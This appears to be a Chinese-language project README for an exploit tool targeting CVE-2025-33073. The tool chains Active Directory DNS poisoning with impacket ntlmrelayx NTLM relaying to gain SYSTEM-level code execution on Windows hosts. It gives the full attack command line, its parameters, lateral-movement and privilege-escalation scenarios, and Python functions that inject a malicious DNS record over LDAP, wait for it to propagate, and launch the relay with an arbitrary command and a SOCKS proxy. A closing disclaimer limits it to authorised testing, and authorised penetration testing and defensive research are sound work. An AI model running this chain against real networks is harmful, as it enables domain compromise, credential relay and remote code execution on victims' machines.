CVE-2025-33073 漏洞利用与ADIDNS投毒攻击链
项目描述
本项目是针对Windows SMB客户端漏洞CVE-2025-33073的利用链研究工具。该漏洞是一个高严重性的身份验证远程代码执行漏洞(CVSS 8.8),允许攻击者在未启用SMB签名的情况下,通过NTLM中继攻击获得SYSTEM级别的代码执行权限。本工具结合了ADIDNS(Active Directory集成DNS)投毒技术,自动化完成DNS记录注入、等待传播和触发SMB NTLM中继的完整攻击流程,用于演示和研究Windows域环境中的横向移动风险。
功能特性
- 自动化攻击链:整合dnstool.py与impacket-ntlmrelayx,实现一键化攻击流程
- ADIDNS投毒:通过LDAP协议向Active Directory添加恶意DNS记录
- 智能等待机制:自动监控DNS记录传播状态,确保投毒成功
- 灵活的NTLM中继启动:支持在当前终端或新建xterm窗口中启动ntlmrelayx监听器
- 支持自定义命令执行:可在中继成功时执行指定的系统命令
- SOCKS代理支持:可选开启SOCKS代理进行进一步的网络渗透
安装指南
系统要求
- Python 3.x
- 类Unix操作系统(支持xterm终端)
- 网络访问权限(可访问目标域控DNS服务器)
依赖安装
项目依赖于以下Python库,可通过pip安装:
bash
pip install impacket ldap3 dnspython
工具依赖
确保系统中已安装以下安全工具:
- impacket套件 :特别是
ntlmrelayx工具 - dig命令 :用于DNS查询测试(通常包含在
dnsutils包中) - xterm终端:可选,用于在新窗口中运行监听器
配置说明
无需额外配置文件,所有参数通过命令行传递。
使用说明
基本用法
该工具是一个Python脚本,需要提供域用户凭据、攻击者IP、DNS服务器IP和域控FQDN等信息。
bash
# 示例:执行完整的攻击链
./exploit_chain.py -u domain_user -p password -a attacker_ip -d dns_server_ip -dc dc.domain.com -t target_machine
参数详解
-u, --user:域用户名(格式:DOMAIN\User 或 User)-p, --password:用户密码-a, --attacker-ip:攻击者控制的IP地址(用于DNS记录指向)-d, --dns-ip:目标域DNS服务器IP地址-dc, --dc-fqdn:域控制器的完全限定域名-t, --target:SMB中继的目标机器IP或主机名--timeout:等待DNS传播的超时时间(秒,默认60)--cli-only:仅在当前命令行启动ntlmrelayx,不开新窗口-c, --command:中继成功时执行的自定义系统命令--socks:启用SOCKS代理模式
典型攻击场景
- 内部网络横向移动:在已获得一个域用户凭据的情况下,攻击者利用此工具向ADIDNS注入指向其控制服务器的DNS记录,然后诱导目标主机发起SMB连接,通过NTLM中继获得更高权限。
- 权限提升:结合其他漏洞或社会工程学,触发域内主机向恶意DNS记录指向的服务器进行身份验证,从而中继该身份验证到域控制器或其他高价值目标。
核心代码
1. DNS记录添加函数
此函数调用外部的dnstool.py脚本,通过LDAP向Active Directory添加一条静态的恶意DNS记录。
python
def run_dnstool(user, password, attacker_ip, dns_ip, dc_fqdn):
"""
使用dnstool.py添加恶意DNS记录到ADIDNS。
参数:
user: 具有写入ADIDNS权限的域用户
password: 对应用户的密码
attacker_ip: 攻击者服务器IP,DNS记录将指向此地址
dns_ip: 目标域DNS服务器IP
dc_fqdn: 域控制器的FQDN
"""
print("[*] Adding malicious DNS record using dnstool.py...")
dnstool_cmd = [
"python3", "dnstool.py",
"-u", user,
"-p", password,
"-a", "add",
"-r", STATIC_DNS_RECORD, # 预定义的DNS记录名
"-d", attacker_ip,
"-dns-ip", dns_ip,
dc_fqdn
]
subprocess.run(dnstool_cmd, check=True) # 执行dnstool命令
print("[+] DNS record added.")
2. DNS传播等待函数
该函数循环查询DNS服务器,确认注入的恶意记录已成功传播并生效。
python
def wait_for_dns_record(record, dns_ip, timeout=60):
"""
等待指定的DNS记录在目标DNS服务器上生效。
参数:
record: 要查询的DNS记录名称
dns_ip: 目标DNS服务器IP
timeout: 超时时间(秒)
返回:
bool: 成功解析到记录返回True,否则返回False
"""
timeout = int(timeout)
print(f"[*] Waiting for DNS record {record} to propagate...")
start_time = time.time()
while time.time() - start_time < timeout:
try:
# 使用dig命令查询DNS记录
result = subprocess.run(
["dig", "+short", record, f"@{dns_ip}"],
capture_output=True, text=True
)
if result.stdout.strip(): # 如果查询结果非空
print("[+] DNS record is live.")
return True
except Exception as e:
print(f"[!] Error checking DNS record: {e}")
time.sleep(2) # 每2秒检查一次
print("[!] Timeout reached. DNS record not found.")
return False
3. NTLM中继启动函数
根据用户选择,在当前终端或新建的xterm窗口中启动impacket的ntlmrelayx监听器。
python
def start_ntlmrelayx(target, cli_only=False, custom_command=None, socks=False):
"""
启动impacket-ntlmrelayx进行SMB NTLM中继监听。
参数:
target: 中继目标(如域控制器)
cli_only: 为True则在当前终端启动,否则开新xterm窗口
custom_command: 中继成功后执行的命令
socks: 是否启用SOCKS代理模式
"""
if cli_only:
print("[*] Starting ntlmrelayx listener in this terminal...")
# 构建基本命令
if custom_command:
cmd = ["impacket-ntlmrelayx", "-t", target, "-smb2support", "-c", custom_command]
else:
cmd = ["impacket-ntlmrelayx", "-t", target, "-smb2support"]
if socks:
cmd.append("-socks") # 添加SOCKS代理选项
return subprocess.Popen(cmd) # 启动子进程
else:
print("[*] Starting ntlmrelayx listener in a new xterm...")
# 在xterm中启动,保持窗口打开
if custom_command:
cmd = ["xterm", "-hold", "-e", "impacket-ntlmrelayx", "-t", target, "-smb2support", "-c", custom_command]
else:
cmd = ["xterm", "-hold", "-e", "impacket-ntlmrelayx", "-t", target, "-smb2support"]
if socks:
cmd.insert(-1, "-socks") # 在命令末尾前插入SOCKS选项
return subprocess.Popen(cmd)
4. ADIDNS工具核心交互代码(节选自dnstool.py)
此部分代码展示了如何通过LDAP协议与Active Directory DNS区域进行交互。
python
def add_dns_record(connection, record_name, record_data, dnsserver):
"""
通过LDAP向ADIDNS添加一条DNS记录。
参数:
connection: 已建立的LDAP连接
record_name: 要添加的记录名称
record_data: 记录数据(如IP地址)
dnsserver: DNS服务器对象
"""
# 构建DNS节点的可分辨名称(DN)
dnsroot = dnsserver.get_dns_root()
container = 'DC=' + record_name + ',' + dnsroot
# 创建dnsNode对象并设置属性
dns_record = ldaptypes.DNS_RECORD()
dns_record['Data'] = record_data
dns_record['Type'] = 1 # A记录类型
# 准备要添加的属性
attributes = {
'objectClass': ['top', 'dnsNode'],
'dnsRecord': [dns_record.getData()],
'dNSTombstoned': False
}
# 执行LDAP添加操作
connection.add(container, attributes=attributes)
print_o(f"Successfully added record {record_name}")
漏洞关键信息(CVE-2025-33073)
markdown
## 漏洞详情
- **CVE ID**: CVE-2025-33073
- **CVSS评分**: 8.8 (High)
- **影响范围**: Windows 10, 11, Server 2012--2025
- **攻击向量**: 网络(需身份验证)
- **影响**: SYSTEM级别代码执行
- **关键特性**: 绕过NTLM反射缓解措施
注意:本工具仅用于授权的安全测试、教育和研究目的。未经授权对他人系统进行测试是非法的。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAOCkEtiS8C/LxH9i/qwckdE